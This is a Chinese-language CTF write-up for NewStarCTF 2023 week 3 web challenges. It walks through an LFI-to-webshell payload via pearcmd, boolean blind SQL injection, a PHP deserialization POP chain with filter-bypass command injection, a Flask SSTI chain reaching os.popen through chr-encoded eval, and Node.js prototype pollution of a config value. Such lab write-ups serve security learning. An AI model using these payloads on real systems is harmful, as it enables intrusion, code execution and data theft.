“[NewStarCTF 2023 公开赛道]WEEK3--web方向复现记录”
[NewStarCTF 2023 公开赛道]WEEK3–web方向复现记录
Include 🍐
和这个题过程一模一样
1 |
|
本地文件包含 LFI
include($_GET[‘file’].”.php”);`
用户传的 file
参数会拼接一个 .php
再被包含。
黑名单限制
filter、
rot13、
base64` 不能用。
所以常见的伪协议:php://filter
、php://input
、data://
都被限制了。
漏洞利用目标
提示意思是让你通过 LFI(本地文件包含)变成 RCE。
但是 .php
后缀限制 → 不能直接包含 /etc/passwd
这种非 PHP 文件。
直接写马
注意抓包之后修改一下尖括号 再比如这里不需要php后缀
1 | ?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php |
这里我们不用tmp 用这个默认路径
成功上传之后 直接去看a.php
进行post传参就可以
再或者我们蚁剑连接
一模一样的步骤
medium_sql
之后要恶补一下盲注的知识点
?id=TMP0919’ AND 1=1–+;
?id=TMP0919’ AND 1=2–+;
正确时正常回显 错误时无回显(注意and要用大写 这里过滤了小写)
所以我们考虑布尔盲注
偷的一个脚本
1 | import requests |
可以对应题目修改脚本
POP Gadget
之前学反序列化的时候写过一次
来试一下
1 | $pop=new Begin(); |
url编码之后还需要再编码一下 再hackerbar里面解编码可以看到有个加号
R!!!C!!!E!!!
1 | <?php |
1 |
|
把这个正则匹配扔到脚本里看一下能用的字符
回到php代码 这段看着还是要构造反序列化链子的
$a->qwejaskdjnlka = $a
这个写法学习一下
这是创建一个循环引用从而触发tostring
a->qwejaskdjnlka = $a
表示让对象的qwejaskdjnlka
属性指向对象自己
这样当__destruct()
执行echo $this->qwejaskdjnlka
时,实际上就是在echo
对象自己
于是就会触发当前对象的__toString()
方法,进而执行exec($this->code)
简单来说就是自己去引用自己从而把这里的两个魔术方法串到一起
如果不这样做循环引用的话 qwe就可能是普通字符串 不会触发tostring了
下一步就是考虑怎么在正则匹配的过滤下成功执行我们需要的命令
单引号和双引号不要用错了。。。。
双引号解析单引号不解析
输入ls发现没有回显 所以这里应该是无回显rce
不过正则匹配过滤了&、
|、
>和其他nc等命令 我们不考虑反弹shell 想其他方法
想到可以写入内容到其他文件
这里虽然tee过滤掉了但是可以用一个特性绕过
在 Bash 等 Shell 中,单引号包裹的空字符串 ‘’ 会被忽略
payload=O:7:”minipop”:2:{s:4:”code”;N;s:13:”qwejaskdjnlka”;O:7:”minipop”:2:{s:4:”code”;s:14:”ls / | t’’ee b”;s:13:”qwejaskdjnlka”;N;}}
1 |
|
然后我们查看文件b
同样的方法执行catflag
GenShin
信息收集
我点了好几次也没看见这还有个路径提示。。。。。。。
试了下ssti
66666666666
试了下这里只要俩大括号就不行
利用{% %}
标签执行代码
1 | {% print(7*7) %} |
查看当前 Flask 应用的配置信息
1 | {% print(config) %} |
这里试的时候可以发现过滤了蛮多东西 .也过滤了
绕过.我们就用attr
第一步拿到类和基类
()|attr("__class__")|attr("__base__")
1 | ?name= |
获取子类列表
1 | import json |
|attr("__globals__")
的作用是从类的构造方法中 “撬出” 它所在模块的所有功能,让我们能拿到 os
模块等 “危险工具”,最终实现命令执行、文件读取等攻击行为,这是 SSTI 漏洞从 “注入” 到 “getshell” 的关键一跃。
下一步就是访问这个globals
这里init也被过滤了
通过字符串拼接来绕过
把 __init__
拆分为 '__in' + '__it__'
1 | ?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%} |
得到的这个就是global的字典内容
它相当于是一个武器库
返回当前作用域的全局变量字典
在 SSTI 中,拿到这个字典就相当于获得了:
- 所有内置函数(如
eval
、__import__
、open
等,可执行命令、读写文件); - 已加载的模块(如
os
、subprocess
等,是执行系统操作的核心工具); - 模板运行时的自定义变量 / 类(可能包含开发者遗留的危险逻辑)
这里又过滤了popen systen这种直接执行的
所以我们需要间接执行比如eval+字符串编码
|attr("get")("eval")
:从 __builtins__
中取出 eval
函数
执行的命令
eval(__import__('os').popen('ls /').read())
这里要把它进行chr编码 然后chr中间要加上加号
之后知道flag位置直接进行查看
完整payload
1 | ?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%} |
写死我了。。。。。
OtenkiGirl
最后的题是一个java原型链污染
这几天学一下
先下载附件
看到app.js
1 | const env = global.env = (process.env.NODE_ENV || "production").trim(); |
把这个拿出来看一下
1 | //这里引入了route文件夹下的info 和route |
这段代码的目的是批量加载并注册路由,让 Koa 应用能处理不同 URL 路径的请求。
(不懂没事 继续往下)
[ "info", "submit" ]
:
这是一个字符串数组,包含需要加载的路由模块名称(info
和 submit
)。
.forEach(p => { ... })
:
遍历数组中的每个元素(p
依次为 "info"
、"submit"
),对每个元素执行回调逻辑
p = require("./routes/" + p)
:
“./routes/“ + p会拼接出路由文件的路径(如 “./routes/info”、”./routes/submit”`)。
require会加载对应路径的模块(假设是 info.js和 submit.js),并将模块赋值给 p
。
app.use(p.routes()).use(p.allowedMethods())
:
p.routes()
:获取路由模块中定义的路由规则(如哪些 URL 对应哪些处理函数)。
p.allowedMethods()
:配置允许的 HTTP 请求方法(如限制接口只接受 GET
/POST
,若请求方法不允许则返回错误)。
app.use(...)
:将路由规则和请求方法限制注册到 Koa 应用中,使应用能响应对应请求
因此我们追踪到routes文件下的info.js和submit.js
info.js代码
1 | const Router = require("koa-router"); |
我们注意到这段代码let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();,
将我们传入的timestamp
做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time
意思是使用 CONFIG 变量中的 min_public_time 属性(如果存在),否则使用 DEFAULT_CONFIG 变量中的 min_public_time 属性。
我们继续找config文件和config.default文件,发现CONFIG
变量中没有min_public_time
属性,所以会使用DEFAULT_CONFIG
变量中的 min_public_time
属性。
config.default文件
1 | module.exports = { |
我们这里可以原型链污染污染min_public_time
为更早的日期,尝试绕过这个日期限制。
submit.js代码(有点多 这里就放出来一部分重要的)
这里可以发现注入点
1 | const merge = (dst, src) => { |
merge
函数的目的是递归合并两个对象(将 src
的属性合并到 dst
中)
这个 merge
函数没有过滤特殊键(如 __proto__
)
我们注意到在第7行中,如果key既存在于dst对象中,又存在于src对象中,则会递归调用merge函数将它们合并,否则dst[key]会被赋值为src[key]。
这意味着如果src对象的原型链上存在名为’min_public_time’的属性,则该属性将被赋值给dst对象,那么dst[key]将会指向原型链上的值。在JavaScript中,对象可以具有特殊的属性__proto__,它指向对象的原型。通过修改data['__proto__']['min_public_time']
的值,我们可以影响原型链上的属性。
思路有了我们来解题
改一下时间戳
1 | { |
我们直接hackbar上在info路由上传ts=0,获取全部信息,最终发现其中一个含flag的信息:
为什么要请求info
/info
这类路径通常是服务端设计的信息查询接口,用于返回特定的数据集或详情